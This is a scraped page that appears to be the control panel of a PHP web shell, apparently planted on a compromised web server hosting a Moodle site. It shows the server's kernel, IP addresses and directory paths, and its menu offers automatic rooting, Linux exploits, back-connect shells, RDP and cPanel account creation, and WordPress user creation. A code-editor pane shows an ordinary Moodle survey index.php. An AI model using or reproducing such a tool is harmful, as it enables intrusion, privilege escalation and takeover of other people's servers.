Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.90
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
survey /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
download.php
13.5
KB
-rw-r--r--
graph.php
28.6
KB
-rw-r--r--
index.php
2.96
KB
-rw-r--r--
lib.php
39.1
KB
-rw-r--r--
mod_form.php
3.07
KB
-rw-r--r--
report.php
20.79
KB
-rw-r--r--
save.php
2.41
KB
-rw-r--r--
styles.css
786
B
-rw-r--r--
version.php
1.17
KB
-rw-r--r--
view.php
6.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php require_once("../../config.php"); require_once("lib.php"); $id = required_param('id', PARAM_INT); // Course Module ID $PAGE->set_url('/mod/survey/index.php', array('id'=>$id)); if (!$course = $DB->get_record('course', array('id'=>$id))) { print_error('invalidcourseid'); } require_course_login($course); $PAGE->set_pagelayout('incourse'); $params = array( 'context' => context_course::instance($course->id), 'courseid' => $course->id ); $event = \mod_survey\event\course_module_instance_list_viewed::create($params); $event->trigger(); $strsurveys = get_string("modulenameplural", "survey"); $strname = get_string("name"); $strstatus = get_string("status"); $strdone = get_string("done", "survey"); $strnotdone = get_string("notdone", "survey"); $PAGE->navbar->add($strsurveys); $PAGE->set_title($strsurveys); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); echo $OUTPUT->heading($strsurveys); if (! $surveys = get_all_instances_in_course("survey", $course)) { notice(get_string('thereareno', 'moodle', $strsurveys), "../../course/view.php?id=$course->id"); } $usesections = course_format_uses_sections($course->format); $table = new html_table(); if ($usesections) { $strsectionname = get_string('sectionname', 'format_'.$course->format); $table->head = array ($strsectionname, $strname, $strstatus); } else { $table->head = array ($strname, $strstatus); } $currentsection = ''; foreach ($surveys as $survey) { if (isloggedin() and survey_already_done($survey->id, $USER->id)) { $ss = $strdone; } else { $ss = $strnotdone; } $printsection = ""; if ($usesections) { if ($survey->section !== $currentsection) { if ($survey->section) { $printsection = get_section_name($course, $survey->section); } if ($currentsection !== "") { $table->data[] = 'hr'; } $currentsection = $survey->section; } } //Calculate the href if (!$survey->visible) { //Show dimmed if the mod is hidden $tt_href = "<a class=\"dimmed\" href=\"view.php?id=$survey->coursemodule\">".format_string($survey->name,true)."</a>"; } else { //Show normal if the mod is visible $tt_href = "<a href=\"view.php?id=$survey->coursemodule\">".format_string($survey->name,true)."</a>"; } if ($usesections) { $table->data[] = array ($printsection, $tt_href, "<a href=\"view.php?id=$survey->coursemodule\">$ss</a>"); } else { $table->data[] = array ($tt_href, "<a href=\"view.php?id=$survey->coursemodule\">$ss</a>"); } } echo "<br />"; echo html_writer::table($table); echo $OUTPUT->footer();
Close